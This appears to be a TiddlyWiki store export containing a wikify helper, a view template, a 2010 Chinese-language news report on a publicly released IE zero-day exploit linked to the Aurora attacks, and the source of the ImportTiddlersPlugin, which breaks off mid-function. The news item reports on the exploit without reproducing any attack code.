	// textarea node doesn't get wikified, just decoded... 
	if (theNode.nodeName.toLowerCase()=='textarea')
		theNode.value=theNode.value.replace(/\%%\(/g,'<<').replace(/\)\%%/g,'>>').replace(/\\n/g,'\n');
	else for (var i=0;i<theNode.childNodes.length;i++) {
		var theChild=theNode.childNodes.item(i);
		if (theChild.nodeName.toLowerCase()=='option') continue;
		if (theChild.nodeName.toLowerCase()=='select') continue;
		wikifyTextNodes(theChild);
		if (theChild.nodeName=='#text') {
			var txt=theChild.nodeValue;
			// decode macro brackets and newlines
			txt=txt.replace(/\%%\(/g,'<<').replace(/\)\%%/g,'>>').replace(/\\n/g,'\n');
			// replace text node with wikified() span
			var newNode=createTiddlyElement(null,"span");
			theNode.replaceChild(newNode,theChild);
			wikify(txt,newNode);
		}
	}
}
//}}}
<!--{{{-->
<div class='toolbar' macro='toolbar closeTiddler closeOthers +easyEdit > fields syncing permalink references jump'></div>
<div class='title' macro='view title'></div>
<div class='subtitle'><span macro='view modifier link'></span>, <span macro='view modified date'></span> (<span macro='message views.wikified.createdPrompt'></span> <span macro='view created date'></span>)</div>

<!--
<div class='tagging' macro='tagging'></div>
-->
<div class='tagged' macro='tags'></div>
<div class='viewer' macro='view text wikified'></div>
<div class='tagClear'></div>
<!--}}}-->
{{item1{參考網站}}} 
1. HTTP Gallery
http://www.httpwatch.com/httpgallery/introduction/
本文網址 : http://www.zdnet.com.tw/news/software/0,2000085678,20143797,00.htm

ZDNet新聞專區:Elinor Mills  2010/01/18 13:14:01

微軟和McAfee警告,已有人在網路上釋出漏洞範本程式(exploit code),用來鑽IE瀏覽器的零時安全漏洞,與Google等公司遭中國駭客攻擊的IE漏洞有關。

同時,德國聯邦安全機構15日發布聲明,敦促國民在新的IE修補程式發布前,改用IE以外的瀏覽器。

微軟安全回應中心資深安全程式經理Jerry Bryant說:「我們只看到鎖定目標、有限度的攻擊,受影響的是IE6。較新版的IE雖然也受這個安全弱點影響,但攻擊難度較高。」

McAfee研究員看到有人在電子郵件論壇上提及這個範本程式,並證實範本程式至少已在一個網站上貼出。該公司技術長George Kurtz在個人部落格上發表文章說:「這個範本程式和McAfee Labs正在調查並通報微軟的是相同的程式碼。」

Kurtz在文中指出,範本程式一公開,利用這個IE安全漏洞進行普遍攻擊的可能性隨之大增。「電腦程式碼如今公諸於世,可能協助網路犯罪者利用Windows系統的弱點發動攻擊。熱門的網路滲透測試工具已進行更新,納入這個範本程式。」

微軟14日也發布警告,提醒使用者注意這個新發現的安全漏洞,並表示正著手製作安全更新程式。此安全漏洞影響在較新版Windows (包含Windows 7)下使用的IE 6、IE7和IE8。

Google上周二表示,Google和其他三十幾家美國公司遭到中國駭客攻擊,使用Gmail的人權鬥士是駭客攻擊鎖定的對象。熟悉此攻擊程式的消息人士表示,這些攻擊與先前美國企業遭到的網路攻擊類似,都有中國政府或政府代理機構的影子。

McAfee分析IE相關攻擊程式後發現,駭客稱這次的攻擊為「奧羅拉」(Aurora)任務,而這波攻擊極為複雜。(唐慧文譯) 
/***
|Name|ImportTiddlersPlugin|
|Source|http://www.TiddlyTools.com/#ImportTiddlersPlugin|
|Documentation|http://www.TiddlyTools.com/#ImportTiddlersPluginInfo|
|Version|4.3.3|
|Author|Eric Shulman - ELS Design Studios|
|License|http://www.TiddlyTools.com/#LegalStatements <br>and [[Creative Commons Attribution-ShareAlike 2.5 License|http://creativecommons.org/licenses/by-sa/2.5/]]|
|~CoreVersion|2.1|
|Type|plugin|
|Requires||
|Overrides|config.macros.importTiddlers.handler|
|Description|interactive controls for import/export with filtering.|
This plugin lets you selectively combine tiddlers from any two TiddlyWiki documents.  An interactive control panel lets you pick a document to import from, and then select which tiddlers to import, with prompting for skip, rename, merge or replace actions when importing tiddlers that match existing titles.  Automatically add tags to imported tiddlers so they are easy to find later on.  Generates a detailed report of import 'history' in ImportedTiddlers.
***/
// // ''MACRO DEFINITION''
//{{{
// Version
version.extensions.importTiddlers = {major: 4, minor: 3, revision: 3, date: new Date(2008,8,12)};

// add ImportTiddlerPlugin controls to built-in backstage import task
if (config.tasks) { // TW2.2 or above
	config.tasks.importTask.content="<<tiddler ImportTiddlers>>"
}

// IE needs explicit global scoping for functions/vars called from browser events
window.onClickImportButton=onClickImportButton;
window.refreshImportList=refreshImportList;

// default cookie/option values
if (!config.options.chkImportReport) config.options.chkImportReport=true;

// default shadow definition
config.shadowTiddlers.ImportTiddlers="Use ~TiddlyWiki built-in importer (below) or, ";
config.shadowTiddlers.ImportTiddlers+="<<importTiddlers link 'Use ImportTiddlersPlugin control panel...'>>\n";
config.shadowTiddlers.ImportTiddlers+="<<importTiddlers core>>";

merge(config.macros.importTiddlers,{
	label: "import tiddlers",
	prompt: "Copy tiddlers from another document",
	openMsg: "Opening %0",
	openErrMsg: "Could not open %0 - error=%1",
	readMsg: "Read %0 bytes from %1",
	foundMsg: "Found %0 tiddlers in %1",
	filterMsg: "Filtered %0 tiddlers matching '%1'",
	summaryMsg: "%0 tiddler%1 in the list",
	summaryFilteredMsg: "%0 of %1 tiddler%2 in the list",
	plural: "s are",
	single: " is",
	countMsg: "%0 tiddlers selected for import",
	processedMsg: "Processed %0 tiddlers",
	importedMsg: "Imported %0 of %1 tiddlers from %2",
	loadText: "please load a document...",
	closeText: "close",	// text for close button when file is loaded
	doneText: "done",	// text for close button when file is not loaded
	startText: "import",	// text for import button
	stopText: "stop",	// text for import button while importing
	local: true,		// default to import from local file
	src: "",		// path/filename or URL of document to import (retrieved from SiteUrl tiddler)
	proxy: "",		// URL for remote proxy script (retrieved from SiteProxy tiddler)
	useProxy: false,	// use specific proxy script in front of remote URL
	inbound: null,		// hash-indexed array of tiddlers from other document
	newTags: "",		// text of tags added to imported tiddlers
	addTags: true,		// add new tags to imported tiddlers
	listsize: 10,		// # of lines to show in imported tiddler list
	importTags: true,	// include tags from remote source document when importing a tiddler
	keepTags: true,		// retain existing tags when replacing a tiddler
	sync: false,		// add 'server' fields to imported tiddlers (for sync function)
	lastFilter: "",		// most recent filter (URL hash) applied
	lastAction: null,	// most recent collision button performed
	index: 0,		// current processing index in import list
	sort: ""		// sort order for imported tiddler listbox
});

if (config.macros.importTiddlers.coreHandler==undefined)
	config.macros.importTiddlers.coreHandler=config.macros.importTiddlers.handler; // save built-in handler
config.macros.importTiddlers.handler = function(place,macroName,params,wikifier,paramString,tiddler) {
	if (!params[0] || params[0].toLowerCase()=='core') { // default to built in
		if (config.macros.importTiddlers.coreHandler)
			config.macros.importTiddlers.coreHandler.apply(this,arguments);
		else 
			createTiddlyButton(place,this.label,this.prompt,onClickImportMenu);
	} else if (params[0]=='link') { // show link to floating panel
		createTiddlyButton(place,params[1]||this.label,params[2]||this.prompt,onClickImportMenu);
	} else if (params[0]=='inline') {// show panel as INLINE tiddler content
		createImportPanel(place);
		document.getElementById("importPanel").style.position="static";
		document.getElementById("importPanel").style.display="block";
	} else if (config.macros.loadTiddlers)
		config.macros.loadTiddlers.handler(place,macroName,params); // any other params: loadtiddlers
}

// // ''INTERFACE DEFINITION''
// // Handle link click to create/show/hide control panel
//{{{
function onClickImportMenu(e)
{
	if (!e) var e = window.event;
	var parent=resolveTarget(e).parentNode;
	var panel = document.getElementById("importPanel");
	if (panel==undefined || panel.parentNode!=parent)
		panel=createImportPanel(parent);
	var isOpen = panel.style.display=="block";
	if(config.options.chkAnimate)
		anim.startAnimating(new Slider(panel,!isOpen,e.shiftKey || e.altKey,"none"));
	else
		panel.style.display = isOpen ? "none" : "block" ;
	e.cancelBubble = true;
	if (e.stopPropagation) e.stopPropagation();
	return(false);
}
//}}}

// // Create control panel: HTML, CSS
//{{{
function createImportPanel(place) {
	var cmi=config.macros.importTiddlers; // abbreviation
	var panel=document.getElementById("importPanel");
	if (panel) { panel.parentNode.removeChild(panel); }
	setStylesheet(cmi.css,"importTiddlers");
	panel=createTiddlyElement(place,"span","importPanel",null,null)
	panel.innerHTML=cmi.html;
	refreshImportList();
	var siteURL=store.getTiddlerText("SiteUrl"); if (!siteURL) siteURL="";
	document.getElementById("importSourceURL").value=siteURL;
	cmi.src=siteURL;
	var siteProxy=store.getTiddlerText("SiteProxy"); if (!siteProxy) siteProxy="SiteProxy";
	document.getElementById("importSiteProxy").value=siteProxy;
	cmi.proxy=siteProxy;
	if (config.browser.isGecko) { // FF3 FIXUP
		document.getElementById("fileImportSource").style.display="none";
		document.getElementById("importLocalPanelFix").style.display="block";
	}
	return panel;
}
//}}}

// // CSS
//{{{
config.macros.importTiddlers.css = '\
#importPanel {\
	display: none; position:absolute; z-index:11; width:45em; right:105%; top:3em;\
	background-color: #eee; color:#000; font-size: 10pt; line-height:110%;\
	border:1px solid black; border-bottom-width: 3px; border-right-width: 3px;\
	padding: 0.5em; margin:0em; -moz-border-radius:1em;\
}\
#importPanel a, #importPanel td a { color:#009; display:inline; margin:0px; padding:1px; }\
#importPanel table { width:100%; border:0px; padding:0px; margin:0px; font-size:10pt; line-height:110%; background:transparent; }\
#importPanel tr { border:0px;padding:0px;margin:0px; background:transparent; }\
#importPanel td { color:#000; border:0px;padding:0px;margin:0px; background:transparent; }\
#importPanel select { width:100%;margin:0px;font-size:10pt;line-height:110%;}\
#importPanel input  { width:98%;padding:0px;margin:0px;font-size:10pt;line-height:110%}\
#importPanel .box { border:1px solid #000; background-color:#eee; padding:3px 5px; margin-bottom:5px; -moz-border-radius:5px;}\
#importPanel .topline { border-top:1px solid #999; padding-top:2px; margin-top:2px; }\
#importPanel .rad { width:auto; }\
#importPanel .chk { width:auto; margin:1px;border:0; }\
#importPanel .btn { width:auto; }\
#importPanel .btn1 { width:98%; }\
#importPanel .btn2 { width:48%; }\
#importPanel .btn3 { width:32%; }\
#importPanel .btn4 { width:23%; }\
#importPanel .btn5 { width:19%; }\
#importPanel .importButton { padding: 0em; margin: 0px; font-size:10pt; }\
#importPanel .importListButton { padding:0em 0.25em 0em 0.25em; color: #000000; display:inline }\
#backstagePanel #importPanel { left:10%; right:auto; }\
';
//}}}

// // HTML 
//{{{
config.macros.importTiddlers.html = '\
<!-- source and report -->\
<table><tr><td align=left>\
	import from\
	<input type="radio" class="rad" name="importFrom" id="importFromFile" value="file" CHECKED\
		onclick="onClickImportButton(this,event)" title="show file controls"> local file\
	<input type="radio" class="rad" name="importFrom" id="importFromWeb"  value="http"\
		onclick="onClickImportButton(this,event)" title="show web controls"> web server\
</td><td align=right>\
	<input type=checkbox class="chk" id="chkImportReport" checked\
		onClick="config.options[\'chkImportReport\']=this.checked;"> create report\
</td></tr></table>\
\
<div class="box" id="importSourcePanel" style="margin:.5em">\
<div id="importLocalPanel" style="display:block;margin-bottom:2px;"><!-- import from local file  -->\
enter or browse for source path/filename<br>\
<input type="file" id="fileImportSource" size=57 style="width:100%"\
	onKeyUp="config.macros.importTiddlers.src=this.value"\
	onChange="config.macros.importTiddlers.src=this.value;document.getElementById(\'importLoad\').onclick()">\
<div id="importLocalPanelFix" style="display:none"><!-- FF3 FIXUP -->\
	<input type="text" id="fileImportSourceFix" style="width:90%"\
		title="Enter a path/file to import"\
		onKeyUp="config.macros.importTiddlers.src=this.value"\
		onChange="config.macros.importTiddlers.src=this.value; document.getElementById(\'importLoad\').onclick()">\
	<input type="button" id="fileImportSourceFixButton" style="width:7%" value="..."\
		title="Select a path/file to import"\
		onClick="var r=config.macros.importTiddlers.askForFilename(this); if (!r||!r.length) return;\
			document.getElementById(\'fileImportSourceFix\').value=r;\
			config.macros.importTiddlers.src=r;\
			document.getElementById(\'importLoad\').onclick()">\
</div><!--end FF3 FIXUP-->\
</div><!--end local-->\
<div id="importHTTPPanel" style="display:none;margin-bottom:2px;"><!-- import from http server -->\
<table><tr><td align=left>\
	enter a URL or <a href="javascript:;" id="importSelectFeed"\
		onclick="onClickImportButton(this,event)" title="select a pre-defined \'systemServer\' URL">\
		select a server</a><br>\
</td><td align=right>\
	<input type="checkbox" class="chk" id="importUsePassword"\
		onClick="config.macros.importTiddlers.usePassword=this.checked;\
			config.macros.importTiddlers.showPanel(\'importIDPWPanel\',this.checked,true);">password\
	<input type="checkbox" class="chk" id="importUseProxy"\
		onClick="config.macros.importTiddlers.useProxy=this.checked;\
			config.macros.importTiddlers.showPanel(\'importSiteProxy\',this.checked,true);">proxy\
</td></tr></table>\
<input type="text" id="importSiteProxy" style="display:none;margin-bottom:1px" onfocus="this.select()" value="SiteProxy"\
	onKeyUp="config.macros.importTiddlers.proxy=this.value"\
	onChange="config.macros.importTiddlers.proxy=this.value;">\
<input type="text" id="importSourceURL" onfocus="this.select()" value="SiteUrl"\
	onKeyUp="config.macros.importTiddlers.src=this.value"\
	onChange="config.macros.importTiddlers.src=this.value;">\
<div id="importIDPWPanel" style="text-align:center;margin-top:2px;display:none";>\
username: <input type=text id="txtImportID" style="width:25%" \
	onChange="config.options.txtRemoteUsername=this.value;">\
 password: <input type=password id="txtImportPW" style="width:25%" \
	onChange="config.options.txtRemotePassword=this.value;">\
</div><!--end idpw-->\
</div><!--end http-->\
</div><!--end source-->\
\
<div class="box" id="importSelectPanel" style="display:none;margin:.5em;">\
<table><tr><td align=left>\
select:\
<a href="javascript:;" id="importSelectAll"\
	onclick="onClickImportButton(this);return false;" title="SELECT all tiddlers">\
	all</a>\
&nbsp;<a href="javascript:;" id="importSelectNew"\
	onclick="onClickImportButton(this);return false;" title="SELECT tiddlers not already in destination document">\
	added</a>\
&nbsp;<a href="javascript:;" id="importSelectChanges"\
	onclick="onClickImportButton(this);return false;" title="SELECT tiddlers that have been updated in source document">\
	changes</a>\
&nbsp;<a href="javascript:;" id="importSelectDifferences"\
	onclick="onClickImportButton(this);return false;" title="SELECT tiddlers that have been added or are different from existing tiddlers">\
	differences</a>\
</td><td align=right>\
<a href="javascript:;" id="importListSmaller"\
	onclick="onClickImportButton(this);return false;" title="SHRINK list size">\
	&nbsp;&#150;&nbsp;</a>\
<a href="javascript:;" id="importListLarger"\
	onclick="onClickImportButton(this);return false;" title="GROW list size">\
	&nbsp;+&nbsp;</a>\
<a href="javascript:;" id="importListMaximize"\
	onclick="onClickImportButton(this);return false;" title="MAXIMIZE/RESTORE list size">\
	&nbsp;=&nbsp;</a>\
</td></tr></table>\
<select id="importList" size=20 multiple\
	onchange="setTimeout(\'refreshImportList(\'+this.selectedIndex+\')\',1)">\
	<!-- NOTE: delay refresh so list is updated AFTER onchange event is handled -->\
</select>\
<div style="text-align:center">\
	<a href="javascript:;"\
		title="click for help using filters..."\
		onclick="alert(\'A filter consists of one or more space-separated combinations of:\\n\\ntiddler titles\\ntag:[[tagvalue]]\\ntag:[[tag expression]] (requires MatchTagsPlugin)\\nstory:[[TiddlerName]]\\nsearch:[[searchtext]]\\n\\nUse a blank filter for all tiddlers.\')"\
	>filter</a>\
	<input type="text" id="importLastFilter" style="margin-bottom:1px; width:65%"\
		title="Enter a combination of one or more filters. Use a blank filter for all tiddlers."\
		onfocus="this.select()" value=""\
		onKeyUp="config.macros.importTiddlers.lastFilter=this.value"\
		onChange="config.macros.importTiddlers.lastFilter=this.value;">\
	<input type="button" id="importApplyFilter" style="width:20%" value="apply"\
		title="filter list of tiddlers to include only those that match certain criteria"\
		onclick="onClickImportButton(this)">\
	</div>\
</div><!--end select-->\
\
<div class="box" id="importOptionsPanel" style="text-align:center;margin:.5em;display:none;">\
	apply tags: <input type=checkbox class="chk" id="chkImportTags" checked\
		onClick="config.macros.importTiddlers.importTags=this.checked;">from source&nbsp;\
	<input type=checkbox class="chk" id="chkKeepTags" checked\
		onClick="config.macros.importTiddlers.keepTags=this.checked;">keep existing&nbsp;\
	<input type=checkbox class="chk" id="chkAddTags" \
		onClick="config.macros.importTiddlers.addTags=this.checked;\
			config.macros.importTiddlers.showPanel(\'txtNewTags\',this.checked,true);\
			if (this.checked) document.getElementById(\'txtNewTags\').focus();">add tags<br>\
	<input type=text id="txtNewTags" style="margin-top:4px;display:none;" size=15\ onfocus="this.select()" \
		title="enter tags to be added to imported tiddlers" \
		onKeyUp="config.macros.importTiddlers.newTags=this.value;\
		document.getElementById(\'chkAddTags\').checked=this.value.length>0;" autocomplete=off>\
	<nobr><input type=checkbox class="chk" id="chkSync" \
		onClick="config.macros.importTiddlers.sync=this.checked;">\
		link imported tiddlers to source document (for sync later)</nobr>\
</div><!--end options-->\
\
<div id="importButtonPanel" style="text-align:center">\
	<input type=button id="importLoad"	class="importButton btn3" value="open"\
		title="load listbox with tiddlers from source document"\
		onclick="onClickImportButton(this)">\
	<input type=button id="importOptions"	class="importButton btn3" value="options..."\
		title="set options for tags, sync, etc."\
		onclick="onClickImportButton(this)">\
	<input type=button id="importStart"	class="importButton btn3" value="import"\
		title="start/stop import of selected source tiddlers into current document"\
		onclick="onClickImportButton(this)">\
	<input type=button id="importClose"	class="importButton btn3" value="done"\
		title="clear listbox or hide control panel"\
		onclick="onClickImportButton(this)">\
</div>\
\
<div class="none" id="importCollisionPanel" style="display:none;margin:.5em 0 .5em .5em;">\
	<table><tr><td style="width:65%" align="left">\
		<table><tr><td align=left>\
			tiddler already exists:\
		</td><td align=right>\
			<input type=checkbox class="chk" id="importApplyToAll" \
			onclick="document.getElementById(\'importRename\').disabled=this.checked;"\
			checked>apply to all\
		</td></tr></table>\
		<input type=text id="importNewTitle" size=15 autocomplete=off">\
	</td><td style="width:34%" align="center">\
		<input type=button id="importMerge"\
			class="importButton" style="width:47%" value="merge"\
			title="append the incoming tiddler to the existing tiddler"\
			onclick="onClickImportButton(this)"><!--\
		--><input type=button id="importSkip"\
			class="importButton" style="width:47%" value="skip"\
			title="do not import this tiddler"\
			onclick="onClickImportButton(this)"><!--\
		--><br><input type=button id="importRename"\
			class="importButton" style="width:47%" value="rename"\
			title="rename the incoming tiddler"\
			onclick="onClickImportButton(this)"><!--\
		--><input type=button id="importReplace"\
			class="importButton" style="width:47%" value="replace"\
			title="discard the existing tiddler"\
			onclick="onClickImportButton(this)">\
	</td></tr></table>\
</div><!--end collision-->\
';
//}}}

// // Control interactions
//{{{
function onClickImportButton(which,event)
{
	var cmi=config.macros.importTiddlers; // abbreviation

	var list = document.getElementById('importList');
	if (!list) return;
	var thePanel = document.getElementById('importPanel');
	var theCollisionPanel = document.getElementById('importCollisionPanel');
	var theNewTitle = document.getElementById('importNewTitle');
	var count=0;
	switch (which.id)
		{
		case 'importFromFile':	// show local panel
		case 'importFromWeb':	// show HTTP panel
			cmi.local=(which.id=='importFromFile');
			cmi.showPanel('importLocalPanel',cmi.local);
			cmi.showPanel('importHTTPPanel',!cmi.local);
			break;
		case 'importOptions':	// show/hide options panel
			cmi.showPanel('importOptionsPanel',document.getElementById('importOptionsPanel').style.display=='none');
			break;
		case 'fileImportSource':
		case 'importLoad':		// load import source into hidden frame
			importReport();		// if an import was in progress, generate a report
			cmi.inbound=null;	// clear the imported tiddler buffer
			refreshImportList();	// reset/resize the listbox
			if (cmi.src=="") break;
			// Load document, read it's DOM and fill the list
			cmi.loadRemoteFile(cmi.src,cmi.filterTiddlerList);
			break;
		case 'importSelectFeed':	// select a pre-defined systemServer feed URL
			var p=Popup.create(which); if (!p) return;
			var tids=store.getTaggedTiddlers('systemServer');
			if (!tids.length)
				createTiddlyText(createTiddlyElement(p,'li'),'no pre-defined server feeds');
			for (var t=0; t<tids.length; t++) {
				var u=store.getTiddlerSlice(tids[t].title,"URL");
				var d=store.getTiddlerSlice(tids[t].title,"Description");
				if (!d||!d.length) d=store.getTiddlerSlice(tids[t].title,"description");
				if (!d||!d.length) d=u;
				createTiddlyButton(createTiddlyElement(p,'li'),tids[t].title,d,
					function(){
						var u=this.getAttribute('url');
						document.getElementById('importSourceURL').value=u;
						config.macros.importTiddlers.src=u;
						document.getElementById('importLoad').onclick();
					},
					null,null,null,{url:u});
			}
			Popup.show(p,false);
			event.cancelBubble = true;
			if (event.stopPropagation) event.stopPropagation();
			return(false);
			// create popup with feed list
			// onselect, insert feed URL into input field.
			break;
		case 'importSelectAll':		// select all tiddler list items (i.e., not headings)
			importReport();		// if an import was in progress, generate a report
			for (var t=0,count=0; t < list.options.length; t++) {
				if (list.options[t].value=="") continue;
				list.options[t].selected=true;
				count++;
			}
			clearMessage(); displayMessage(cmi.countMsg.format([count]));
			document.getElementById('importStart').disabled=!count;
			break;
		case 'importSelectNew':		// select tiddlers not in current document
			importReport();		// if an import was in progress, generate a report
			for (var t=0,count=0; t < list.options.length; t++) {
				list.options[t].selected=false;
				if (list.options[t].value=="") continue;
				list.options[t].selected=!store.tiddlerExists(list.options[t].value);
				count+=list.options[t].selected?1:0;
			}
			clearMessage(); displayMessage(cmi.countMsg.format([count]));
			document.getElementById('importStart').disabled=!count;
			break;
		case 'importSelectChanges':		// select tiddlers that are updated from existing tiddlers
			importReport();		// if an import was in progress, generate a report
			for (var t=0,count=0; t < list.options.length; t++) {
				list.options[t].selected=false;
				if (list.options[t].value==""||!store.tiddlerExists(list.options[t].value)) continue;
				for (var i=0; i<cmi.inbound.length; i++) // find matching inbound tiddler
					{ var inbound=cmi.inbound[i]; if (inbound.title==list.options[t].value) break; }
				list.options[t].selected=(inbound.modified-store.getTiddler(list.options[t].value).modified>0); // updated tiddler
				count+=list.options[t].selected?1:0;
			}
			clearMessage(); displayMessage(cmi.countMsg.format([count]));
			document.getElementById('importStart').disabled=!count;
			break;
		case 'importSelectDifferences':		// select tiddlers that are new or different from existing tiddlers
			importReport();		// if an import was in progress, generate a report
			for (var t=0,count=0; t < list.options.length; t++) {
				list.options[t].selected=false;
				if (list.options[t].value=="") continue;
				if (!store.tiddlerExists(list.options[t].value)) { list.options[t].selected=true; count++; continue; }
				for (var i=0; i<cmi.inbound.length; i++) // find matching inbound tiddler
					{ var inbound=cmi.inbound[i]; if (inbound.title==list.options[t].value) break; }
				list.options[t].selected=(inbound.modified-store.getTiddler(list.options[t].value).modified!=0); // changed tiddler
				count+=list.options[t].selected?1:0;
			}
			clearMessage(); displayMessage(cmi.countMsg.format([count]));
			document.getElementById('importStart').disabled=!count;
			break;
		case 'importApplyFilter':	// filter list to include only matching tiddlers
			importReport();		// if an import was in progress, generate a report
			clearMessage();
			if (!cmi.all) // no tiddlers loaded = "0 selected"
				{ displayMessage(cmi.countMsg.format([0])); return false; }
			var hash=document.getElementById('importLastFilter').value;
			cmi.inbound=cmi.filterByHash("#"+hash,cmi.all);
			refreshImportList();	// reset/resize the listbox
			break;
		case 'importStart':		// initiate the import processing
			importReport();		// if an import was in progress, generate a report
			document.getElementById('importApplyToAll').checked=false;
			document.getElementById('importStart').value=cmi.stopText;
			if (cmi.index>0) cmi.index=-1; // stop processing
			else cmi.index=importTiddlers(0); // or begin processing
			importStopped();
			break;
		case 'importClose':		// unload imported tiddlers or hide the import control panel
			// if imported tiddlers not loaded, close the import control panel
			if (!cmi.inbound) { thePanel.style.display='none'; break; }
			importReport();		// if an import was in progress, generate a report
			cmi.inbound=null;	// clear the imported tiddler buffer
			refreshImportList();	// reset/resize the listbox
			break;
		case 'importSkip':	// don't import the tiddler
			cmi.lastAction=which;
			var theItem	= list.options[cmi.index];
			for (var j=0;j<cmi.inbound.length;j++)
			if (cmi.inbound[j].title==theItem.value) break;
			var theImported = cmi.inbound[j];
			theImported.status='skipped after asking';			// mark item as skipped
			theCollisionPanel.style.display='none';
			cmi.index=importTiddlers(cmi.index+1);	// resume with NEXT item
			importStopped();
			break;
		case 'importRename':		// change name of imported tiddler
			cmi.lastAction=which;
			var theItem		= list.options[cmi.index];
			for (var j=0;j<cmi.inbound.length;j++)
			if (cmi.inbound[j].title==theItem.value) break;
			var theImported		= cmi.inbound[j];
			theImported.status	= 'renamed from '+theImported.title;	// mark item as renamed
			theImported.set(theNewTitle.value,null,null,null,null);		// change the tiddler title
			theItem.value		= theNewTitle.value;			// change the listbox item text
			theItem.text		= theNewTitle.value;			// change the listbox item text
			theCollisionPanel.style.display='none';
			cmi.index=importTiddlers(cmi.index);	// resume with THIS item
			importStopped();
			break;
		case 'importMerge':	// join existing and imported tiddler content
			cmi.lastAction=which;
			var theItem	= list.options[cmi.index];
			for (var j=0;j<cmi.inbound.length;j++)
			if (cmi.inbound[j].title==theItem.value) break;
			var theImported	= cmi.inbound[j];
			var theExisting	= store.getTiddler(theItem.value);
			var theText	= theExisting.text+'\n----\n^^merged from: ';
			theText		+='[['+cmi.src+'#'+theItem.value+'|'+cmi.src+'#'+theItem.value+']]^^\n';
			theText		+='^^'+theImported.modified.toLocaleString()+' by '+theImported.modifier+'^^\n'+theImported.text;
			var theDate	= new Date();
			var theTags	= theExisting.getTags()+' '+theImported.getTags();
			theImported.set(null,theText,null,theDate,theTags);
			theImported.status   = 'merged with '+theExisting.title;	// mark item as merged
			theImported.status  += ' - '+theExisting.modified.formatString("MM/DD/YYYY 0hh:0mm:0ss");
			theImported.status  += ' by '+theExisting.modifier;
			theCollisionPanel.style.display='none';
			cmi.index=importTiddlers(cmi.index);	// resume with this item
			importStopped();
			break;
		case 'importReplace':		// substitute imported tiddler for existing tiddler
			cmi.lastAction=which;
			var theItem		  = list.options[cmi.index];
			for (var j=0;j<cmi.inbound.length;j++)
			if (cmi.inbound[j].title==theItem.value) break;
			var theImported     = cmi.inbound[j];
			var theExisting	  = store.getTiddler(theItem.value);
			theImported.status  = 'replaces '+theExisting.title;		// mark item for replace
			theImported.status += ' - '+theExisting.modified.formatString("MM/DD/YYYY 0hh:0mm:0ss");
			theImported.status += ' by '+theExisting.modifier;
			theCollisionPanel.style.display='none';
			cmi.index=importTiddlers(cmi.index);	// resume with THIS item
			importStopped();
			break;
		case 'importListSmaller':		// decrease current listbox size, minimum=5
			if (list.options.length==1) break;
			list.size-=(list.size>5)?1:0;
			cmi.listsize=list.size;
			break;
		case 'importListLarger':		// increase current listbox size, maximum=number of items in list
			if (list.options.length==1) break;
			list.size+=(list.size<list.options.length)?1:0;
			cmi.listsize=list.size;
			break;
		case 'importListMaximize':	// toggle listbox size between current and maximum
			if (list.options.length==1) break;
			list.size=(list.size==list.options.length)?cmi.listsize:list.options.length;
			break;
		}
}
//}}}

// // toggle panel
//{{{
config.macros.importTiddlers.showPanel=function(place,show,skipAnim) {
	if (typeof place == "string") var place=document.getElementById(place);
	if (!place||!place.style) return;
	if(!skipAnim && anim && config.options.chkAnimate) anim.startAnimating(new Slider(place,show,false,"none"));
	else place.style.display=show?"block":"none";
}
//}}}

// // refresh listbox
//{{{
function refreshImportList(selectedIndex)
{
	var cmi=config.macros.importTiddlers; // abbreviation

	var list  = document.getElementById("importList");
	if (!list) return;
	// if nothing to show, reset list content and size
	if (!cmi.inbound) 
	{
		while (list.length > 0) { list.options[0] = null; }
		list.options[0]=new Option(cmi.loadText,"",false,false);
		list.size=cmi.listsize;

		// toggle buttons and panels
		document.getElementById('importLoad').disabled=false;
		document.getElementById('importLoad').style.display='inline';
		document.getElementById('importStart').disabled=true;
		document.getElementById('importOptions').disabled=true;
		document.getElementById('importOptions').style.display='none';
		document.getElementById('fileImportSource').disabled=false;
		document.getElementById('importFromFile').disabled=false;
		document.getElementById('importFromWeb').disabled=false;
		document.getElementById('importStart').value=cmi.startText;
		document.getElementById('importClose').value=cmi.doneText;
		document.getElementById('importSelectPanel').style.display='none';
		document.getElementById('importOptionsPanel').style.display='none';
		return;
	}
	// there are inbound tiddlers loaded...
	// toggle buttons and panels
	document.getElementById('importLoad').disabled=true;
	document.getElementById('importLoad').style.display='none';
	document.getElementById('importOptions').style.display='inline';
	document.getElementById('importOptions').disabled=false;
	document.getElementById('fileImportSource').disabled=true;
	document.getElementById('importFromFile').disabled=true;
	document.getElementById('importFromWeb').disabled=true;
	document.getElementById('importClose').value=cmi.closeText;
	if (document.getElementById('importSelectPanel').style.display=='none')
		cmi.showPanel('importSelectPanel',true);

	// get the sort order
	if (!selectedIndex)   selectedIndex=0;
	if (selectedIndex==0) cmi.sort='title';		// heading
	if (selectedIndex==1) cmi.sort='title';
	if (selectedIndex==2) cmi.sort='modified';
	if (selectedIndex==3) cmi.sort='tags';
	if (selectedIndex>3) {
		// display selected tiddler count
		for (var t=0,count=0; t < list.options.length; t++) {
			if (!list.options[t].selected) continue;
			if (list.options[t].value!="")
				count+=1;
			else { // if heading is selected, deselect it, and then select and count all in section
				list.options[t].selected=false;
				for ( t++; t<list.options.length && list.options[t].value!=""; t++) {
					list.options[t].selected=true;
					count++;
				}
			}
		}
		clearMessage(); displayMessage(cmi.countMsg.format([count]));
	}
	document.getElementById('importStart').disabled=!count;
	if (selectedIndex>3) return; // no refresh needed

	// get the alphasorted list of tiddlers
	var tiddlers=cmi.inbound;
	tiddlers.sort(function (a,b) {if(a['title'] == b['title']) return(0); else return (a['title'] < b['title']) ? -1 : +1; });
	// clear current list contents
	while (list.length > 0) { list.options[0] = null; }
	// add heading and control items to list
	var i=0;
	var indent=String.fromCharCode(160)+String.fromCharCode(160);
	if (cmi.all.length==tiddlers.length)
		var summary=cmi.summaryMsg.format([tiddlers.length,(tiddlers.length!=1)?cmi.plural:cmi.single]);
	else
		var summary=cmi.summaryFilteredMsg.format([tiddlers.length,cmi.all.length,(cmi.all.length!=1)?cmi.plural:cmi.single]);
	list.options[i++]=new Option(summary,"",false,false);
	list.options[i++]=new Option(((cmi.sort=="title"   )?">":indent)+' [by title]',"",false,false);
	list.options[i++]=new Option(((cmi.sort=="modified")?">":indent)+' [by date]',"",false,false);
	list.options[i++]=new Option(((cmi.sort=="tags")?">":indent)+' [by tags]',"",false,false);
	// output the tiddler list
	switch(cmi.sort) {
		case "title":
			for(var t = 0; t < tiddlers.length; t++)
				list.options[i++] = new Option(tiddlers[t].title,tiddlers[t].title,false,false);
			break;
		case "modified":
			// sort descending for newest date first
			tiddlers.sort(function (a,b) {if(a['modified'] == b['modified']) return(0); else return (a['modified'] > b['modified']) ? -1 : +1; });
